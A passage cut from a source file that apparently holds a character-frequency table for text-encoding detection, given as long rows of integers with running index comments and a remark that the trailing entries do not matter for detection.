243,4345,3637,2521, 123, 683,4096, 764,4346, 36,3895,1792, 589,2902, 816, // 3958 + 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, // 3974 +2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, // 3990 +7425, 611,1156, 854,2381,1316,2861, 2, 386, 515,2904,7426,7427,3253, 868,2234, // 4006 +1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, // 4022 +2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, // 4038 +1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, // 4054 +1993,7438,4350,7439,7440,2195, 13,2779,3638,2980,3124,1229,1916,7441,3756,2131, // 4070 +7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, // 4086 +7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, // 4102 +7452, 128,2132, 92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, // 4118 +3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, // 4134 +4353,2248, 94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, // 4150 +1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, // 4166 +7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, // 4182 +2332,2067, 23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, // 4198 +7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, // 4214 +3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, // 4230 +3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863, 41,7473, // 4246 +7474,4361,7475,1657,2333, 19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, // 4262 +2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, // 4278 +7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, // 4294 + 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, // 4310 +4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, // 4326 +2683, 733, 40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, // 4342 +7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, // 4358 +3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, // 4374 +2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, // 4390 +2752,2986,7490, 435,7491, 343,1108, 596, 17,1751,4365,2235,3430,3643,7492,4366, // 4406 + 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, // 4422 +2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, // 4438 +1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, // 4454 +1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, // 4470 +2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, // 4486 +1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, // 4502 +7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, // 4518 +7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, // 4534 +2186,1091,2285,4120, 492,7509, 638,1169,1824,2135,1752,3911, 648, 926,1021,1324, // 4550 +4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, // 4566 +1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551, 30,2263,4122, // 4582 +7511,2026,4386,3534,7512, 501,7513,4123, 594,3431,2165,1821,3535,3432,3536,3192, // 4598 + 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, // 4614 +4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, // 4630 + 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, // 4646 +2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, // 4662 + 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, // 4678 +1041,2987, 293,1168, 87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, // 4694 +1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, // 4710 + 730,1515, 184,2827, 66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, // 4726 +3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, // 4742 +3918,7535,7536,1186, 15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, // 4758 +1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, // 4774 +3541,1342,1681,1718, 766,3264, 286, 89,2946,3649,7540,1713,7541,2597,3334,2990, // 4790 +7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, // 4806 +7544,3265, 310, 313,3435,2299, 770,4134, 54,3034, 189,4397,3082,3769,3922,7545, // 4822 +1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, // 4838 +2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, // 4854 +1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, // 4870 +3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, // 4886 +2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, // 4902 +3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, // 4918 +2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, // 4934 +4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, // 4950 +4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, // 4966 +3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, // 4982 + 97, 81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, // 4998 +3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, // 5014 + 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, // 5030 +3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, // 5046 +3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, // 5062 +3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, // 5078 +1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, // 5094 +7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, // 5110 + 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, // 5126 +7590, 587, 14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, // 5142 +1702,1226, 102,1547, 62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, // 5158 + 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, // 5174 +4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598, 86,1494,1730, // 5190 +3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, // 5206 + 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, // 5222 +2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, // 5238 +2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885, 28,2686, // 5254 +3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, // 5270 +1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, // 5286 +4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, // 5302 +2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, // 5318 +1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, // 5334 +1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, // 5350 +2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, // 5366 +3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, // 5382 +1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, // 5398 +7617,3446,7618,7619,7620,3277,2689,1433,3278, 131, 95,1504,3946, 723,4159,3141, // 5414 +1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, // 5430 +4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654, 53,7624,2996,7625, // 5446 +1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, // 5462 + 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, // 5478 +1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, // 5494 +3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, // 5510 +3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, // 5526 +2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, // 5542 +1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, // 5558 +4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, // 5574 + 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, // 5590 +7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, // 5606 +2317,3283,7650,7651,4164,7652,4165, 84,4166, 112, 989,7653, 547,1059,3961, 701, // 5622 +3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, // 5638 +4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, // 5654 + 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, // 5670 +7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, // 5686 +7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, // 5702 +1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, // 5718 +4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, // 5734 +3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, // 5750 +2690,1516,3559,1121,1082,1329,3284,3970,1449,3794, 65,1128,2835,2913,2759,1590, // 5766 +3795,7674,7675, 12,2658, 45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, // 5782 +3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, // 5798 +2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, // 5814 +1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, // 5830 +4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, // 5846 +3670,1858, 91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, // 5862 +3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, // 5878 +2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, // 5894 +4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761, 61,3976,3672,1822,3977, // 5910 +7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, // 5926 +3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, // 5942 +2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, // 5958 +3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, // 5974 +1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, // 5990 +2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, // 6006 +3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, // 6022 +4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043, 56,1396,3090, // 6038 +2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, // 6054 +2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, // 6070 +7722,1076, 49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, // 6086 +1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, // 6102 +2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, // 6118 +1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, // 6134 +3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, // 6150 +4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629, 31,2838, // 6166 +2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, // 6182 +3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, // 6198 +3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, // 6214 +2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, // 6230 +4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, // 6246 +2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, // 6262 +3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, // 6278 +4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, // 6294 +7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, // 6310 +3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, // 6326 + 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, // 6342 +1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412, 42,3096, 464,7759,2632, // 6358 +4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, // 6374 +1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, // 6390 +4487,7766,3002, 962, 588,3574, 289,3219,2634,1116, 52,7767,3047,1796,7768,7769, // 6406 +7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, // 6422 + 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, // 6438 +7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, // 6454 +2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, // 6470 +1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, // 6486 +1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, // 6502 +3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, // 6518 + 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, // 6534 + 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, // 6550 + 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, // 6566 +3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, // 6582 +2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 223,3696,1359, // 6598 + 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, // 6614 +7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, // 6630 +1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, // 6646 +3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, // 6662 +7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, // 6678 +1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, // 6694 +7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, // 6710 +4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, // 6726 +1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, // 6742 +2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, // 6758 +2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, // 6774 +4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, // 6790 + 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, // 6806 + 809,7834,7835,7836, 575,2730,3477, 956,1552,1469,1144,2323,7837,2324,1560,2457, // 6822 +3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, // 6838 +3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, // 6854 +1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, // 6870 +2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, // 6886 +7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, // 6902 +1561,2664,1452,4010,1375,7855,7856, 47,2959, 316,7857,1406,1591,2923,3156,7858, // 6918 +1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, // 6934 +3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, // 6950 + 919,2347,2960,2348,1270,4511,4012, 73,7862,7863, 647,7864,3228,2843,2255,1550, // 6966 +1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, // 6982 +4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, // 6998 +7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, // 7014 +2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, // 7030 +3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, // 7046 + 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, // 7062 +1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, // 7078 +2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, // 7094 +2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, // 7110 +7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, // 7126 +7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, // 7142 +7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, // 7158 +2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, // 7174 +2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, // 7190 +1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, // 7206 +4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, // 7222 +3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, // 7238 +3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, // 7254 +4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, // 7270 +4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, // 7286 +2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, // 7302 +2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, // 7318 +7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, // 7334 +4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, // 7350 +7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, // 7366 +2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, // 7382 +1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, // 7398 +3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, // 7414 +4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, // 7430 +2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, // 7446 + 120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, // 7462 +2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, // 7478 +1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, // 7494 +2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, // 7510 +2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, // 7526 +4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, // 7542 +7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, // 7558 +1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, // 7574 +3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, // 7590 +7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, // 7606 +1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, // 7622 +8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, // 7638 +2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, // 7654 +8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, // 7670 +2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, // 7686 +2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, // 7702 +8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, // 7718 +8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, // 7734 +8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, // 7750 + 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, // 7766 +8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, // 7782 +4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, // 7798 +3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, // 7814 +8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, // 7830 +1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, // 7846 +8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, // 7862 + 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, // 7878 +1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, // 7894 + 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, // 7910 +4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, // 7926 +1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, // 7942 +4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, // 7958 +1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, // 7974 + 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, // 7990 +3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, // 8006 +4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, // 8022 +8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, // 8038 + 938,3862, 553,2670, 116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, // 8054 +3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, // 8070 + 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, // 8086 +2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, // 8102 + +/*************************************************************************************** + *Everything below is of no interest for detection purpose * + *************************************************************************************** + +2515,1613,4582,8119,3312,3866,2516,8120,4058,8121,1637,4059,2466,4583,3867,8122, // 8118 +2493,3016,3734,8123,8124,2192,8125,8126,2162,8127,8128,8129,8130,8131,8132,8133, // 8134 +8134,8135,8136,8137,8138,8139,8140,8141,8142,8143,8144,8145,8146,8147,8148,8149, // 8150 +8150,8151,8152,8153,8154,8155,8156,8157,8158,8159,8160,8161,8162,8163,8164,8165, // 8166 +8166,8167,8168,8169,8170,8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181, // 8182 +8182,8183,8184,8185,8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197, // 8198 +8198,8199,8200,8201,8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213, // 8214 +8214,8215,8216,8217,8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229, // 8230 +8230,8231,8232,8233,8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245, // 8246 +8246,8247,8248,8249,8250,8251,8252,8253,8254,8255,8256,8257,8258,8259,8260,8261, // 8262 +8262,8263,8264,8265,8266,8267,8268,8269,8270,8271,8272,8273,8274,8275,8276,8277, // 8278 +8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,8290,8291,8292,8293, // 8294 +8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,8308,8309, // 8310 +8310,8311,8312,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322,8323,8324,8325, // 8326 +8326,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337,8338,8339,8340,8341, // 8342 +8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353,8354,8355,8356,8357, // 8358 +8358,8359,8360,8361,8362,8363,8364,8365,8366,8367,8368,8369,8370,8371,8372,8373, // 8374 